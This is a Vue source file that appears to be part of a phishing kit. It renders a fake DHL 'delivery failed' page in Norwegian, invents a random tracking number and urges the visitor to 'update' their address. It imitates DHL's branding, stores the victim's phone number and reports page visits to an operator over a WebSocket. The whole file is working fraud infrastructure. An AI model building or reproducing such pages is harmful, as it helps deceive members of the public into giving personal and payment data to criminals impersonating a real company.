zy-client-a/t_post_temp4/src/views/Phone1View copy.vue

<script setup lang="ts">
import { onMounted, ref } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { debounce } from "lodash";
import moment from "moment";
import { useI18n } from "vue-i18n";
import { myWebSocket } from "@/utils/common";
const { t } = useI18n();

const router = useRouter();
const loadingStore = useLoadingStore();
const payDate1 = ref("");
const trackingNumber = ref("");

const onchange = debounce((value: any) => {
  localStorage.setItem("phone", value.target.value);
}, 300);

const next = () => {
  loadingStore.setLoading(true);
  setTimeout(() => {
    loadingStore.setLoading(false);
    router.push("/address");
  }, 200);
};

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "phone1", pageTitle: "首頁提示" },
    })
  );
  payDate1.value = formatDate(getDateSevenDaysAgo(2));

  const inumber = localStorage.getItem("trackingNumber");
  if (inumber) {
    trackingNumber.value = inumber;
  } else {
    trackingNumber.value = generateRandomNineDigitNumber().toString();
    localStorage.setItem("trackingNumber", trackingNumber.value.toString());
  }
  localStorage.setItem("route", "phone1");
});

function formatDate(date: Date): string {
  return moment(date).format("DD/MM/YYYY");
}

function getDateSevenDaysAgo(day: number): Date {
  const currentDate = new Date();
  currentDate.setDate(currentDate.getDate() + day);
  return currentDate;
}

function generateRandomNineDigitNumber(): number {
  const min = 100000000;
  const max = 999999999;
  return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>

<template>
  <CommonLayout>
    <template #default>
      <img
        src="/Static_zy/woman-signs-for-package-0002.jpeg"
        alt="DHL Bilde"
        style="width: 100%; height: auto; max-width: 100%; margin-top: 0px;margin-bottom: -5px;"
      >
      <div class="main-content-body">
        <div class="content-container">
          <div class="content-wrapper">
            <form @submit.prevent="next">
              <h1 class="title-text">
                Spor forsendelsen din
              </h1>
              <div class="content">
                <p class="package-number">
                  Ditt sporingsnummer: <span>{{ trackingNumber }}</span>
                </p>
                <p class="failure-notice">
                  <b>Levering mislyktes</b>
                </p>
                <ul class="notice-list">
                  <li>
                    Forsendelsen din kunne ikke leveres på grunn av en feil eller ufullstendig adresse.
                  </li>
                  <li>Forsendelsen din har blitt returnert til DHLs distribusjonssenter.</li>
                  <li>
                    Oppdater adressen din for å planlegge et nytt leveringsforsøk den <span>{{ payDate1 }}</span>.
                  </li>
                </ul>
                <div class="button-submit">
                  <button type="submit">
                    Fortsett
                    <i
                      class="symbol symbol-chevron"
                      style="display: inline-block; transform: rotate(-90deg); transition: transform 0.3s;"
                    ></i>
                  </button>
                </div>
              </div>
            </form>
          </div>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>

<style scoped>
/* Styles inspired by DHL Ireland[](https://www.dhl.com/ie-en/home.html) */
.main-content-body {
  padding: 2rem 0;
  width: 100%;
  overflow-x: hidden;
  box-sizing: border-box;
  display: flex;
  justify-content: center;
  align-items: center;
  background: var(--linear-gradient-yellow-to-right);
}

.content-container {
  background: var(--linear-gradient-yellow-to-right);
  border-radius: 8px;
  padding: 2rem;
  max-width: 680px; /* Wider container as per DHL Ireland's layout */
  width: 100%;
  box-sizing: border-box;
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); /* Softer shadow for modern look */
}

.content-wrapper {
  min-height: 100px;
}

.title-text {
  font-size: 32px; /* Larger, bolder heading as per DHL Ireland */
  font-weight: 700;
  color: #d40511; /* DHL's signature red */
  margin-bottom: 1.5rem;
  font-family: 'Arial', sans-serif; /* DHL Ireland uses Arial or similar sans-serif */
  line-height: 1.3;
  text-align: left;
}

.content {
  padding: 1.5rem;
  background: var(--linear-gradient-yellow-to-right);
  /* border: 1px solid #e6e6e6; */
  border-radius: 6px;
}

.package-number {
  font-size: 16px;
  color: #333333; /* Dark gray for body text */
  margin-bottom: 1rem;
  font-family: 'Arial', sans-serif;
  font-weight: 400;
}

.package-number span {
  font-weight: 600;
  color: #d40511; /* DHL red for emphasis */
}

.failure-notice {
  font-size: 16px;
  color: #d40511; /* DHL red for alerts */
  margin-bottom: 1rem;
  font-family: 'Arial', sans-serif;
}

.failure-notice b {
  font-weight: 700;
}

.notice-list {
  list-style: disc outside none;
  padding-left: 20px;
  margin-bottom: 1.5rem;
}

.notice-list li {
  font-size: 14px;
  color: #333333; /* Dark gray for body text */
  margin-bottom: 0.75rem;
  font-family: 'Arial', sans-serif;
  line-height: 1.6;
}

.notice-list li span {
  font-weight: 600;
  color: #d40511; /* DHL red for highlighted text */
}

.button-submit {
  margin-top: 1.5rem;
}

button {
  background-color: #d40511; /* DHL red for buttons */
  color: #ffffff;
  padding: 12px 24px;
  border: none;
  border-radius: 4px;
  font-size: 16px;
  font-weight: 600;
  font-family: 'Arial', sans-serif;
  cursor: pointer;
  transition: background-color 0.3s;
}

button:hover {
  background-color: #b0040f; /* Darker red on hover */
}

@media (min-width: 768px) {
  .main-content-body {
    padding: 3rem 0;
  }

  .content-container {
    max-width: 680px;
    padding: 2.5rem;
  }

  .title-text {
    font-size: 32px;
  }

  .content {
    padding: 2rem;
  }

  .package-number,
  .failure-notice {
    font-size: 16px;
  }

  .notice-list li {
    font-size: 14px;
  }
}

@media (max-width: 767px) {
  .main-content-body {
    padding: 1.5rem 0;
  }

  .content-container {
    padding: 1.5rem;
  }

  .title-text {
    font-size: 28px;
  }

  .content {
    padding: 1.5rem;
  }

  .package-number,
  .failure-notice,
  .notice-list li,
  button {
    font-size: 14px;
  }

  .notice-list {
    padding-left: 18px;
  }

  .button {
    padding: 10px 20px;
  }
}
</style>